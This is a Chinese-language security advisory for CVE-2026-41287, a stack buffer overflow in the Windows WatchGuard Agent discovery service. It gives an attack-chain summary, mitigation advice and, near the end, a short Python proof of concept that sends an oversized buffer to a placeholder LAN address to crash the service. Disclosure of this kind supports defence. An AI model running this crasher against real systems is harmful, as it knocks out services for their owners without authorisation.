IPBUF安全漏洞报告
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CVE-2026-41287 CVSS 6.5 中危

CVE-2026-41287 WatchGuard Agent栈溢出漏洞

披露日期: 2026-05-06
来源: 5d1c2695-1a31-4499-88ae-e847036fd7e3

漏洞信息

漏洞编号
CVE-2026-41287
漏洞类型
栈缓冲区溢出
CVSS评分
6.5 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WatchGuard Agent (Windows)

相关标签

缓冲区溢出栈溢出DoSWatchGuardWindowsCVE-2026-41287

漏洞概述

WatchGuard Agent的Windows版本发现服务中存在基于栈的缓冲区溢出漏洞。该漏洞源于服务未对输入数据进行严格的边界检查,攻击者可通过发送特制数据包触发溢出。由于无需认证且无需用户交互,同一局域网内的攻击者可轻易利用此漏洞,导致目标系统上的Agent服务崩溃,造成拒绝服务攻击,严重影响业务连续性。

技术细节

该漏洞位于WatchGuard Agent的Windows版发现服务组件中,该组件通常监听特定的UDP或TCP端口以响应局域网内的管理或发现请求。漏洞的根本原因在于服务端代码在接收网络数据时,使用了不安全的内存拷贝操作,直接将用户可控的数据写入栈上的固定大小缓冲区,而未进行必要的长度校验。攻击者可以通过发送特制的超长数据包触发该漏洞。当数据长度超过缓冲区限制时,多余的数据会覆盖栈帧上的返回地址或函数指针,改变程序的正常执行流程。虽然当前披露的主要影响是导致Agent服务崩溃(DoS),破坏系统的可用性,但栈溢出往往具有更高的利用潜力。攻击者若能精确控制溢出内容,可能覆盖返回地址指向Shellcode,从而在目标系统上以服务权限执行任意代码。由于攻击无需认证且无需用户交互,只要攻击者能接入同一局域网,即可极其隐蔽地发起攻击,对内网安全构成严重威胁。

攻击链分析

STEP 1
侦察
攻击者扫描本地局域网,识别运行WatchGuard Agent的主机及其开放的发现服务端口。
STEP 2
武器化
攻击者构造包含超长字符串的特制数据包,旨在触发目标服务的栈缓冲区溢出。
STEP 3
投递
攻击者通过局域网将恶意数据包发送到目标主机的发现服务端口。
STEP 4
利用
目标服务接收并处理数据包,由于缺乏边界检查,发生栈溢出,覆盖关键内存区域。
STEP 5
影响
导致WatchGuard Agent服务崩溃(拒绝服务),或在特定条件下导致任意代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket # Target configuration target_ip = "192.168.1.10" # Replace with the target IP target_port = 4115 # Replace with the actual discovery service port # Exploit payload generation # The vulnerability is a stack-based buffer overflow. # We send a large buffer to crash the service. buffer_size = 2000 payload = b"A" * buffer_size try: # Create a socket object s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Set a timeout s.settimeout(5) print(f"[+] Connecting to {target_ip}:{target_port}...") s.connect((target_ip, target_port)) print("[+] Sending malicious payload...") s.send(payload) print("[+] Payload sent. Check if the service crashed.") s.close() except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

WatchGuard Agent (Windows)

防御指南

临时缓解措施
建议立即限制对发现服务端口的入站访问,仅允许可信的管理IP地址连接。在官方补丁发布前,如非必要,可暂时关闭WatchGuard Agent的发现服务以降低风险。同时,应密切监控系统日志,检测是否存在异常的服务崩溃行为。

参考链接

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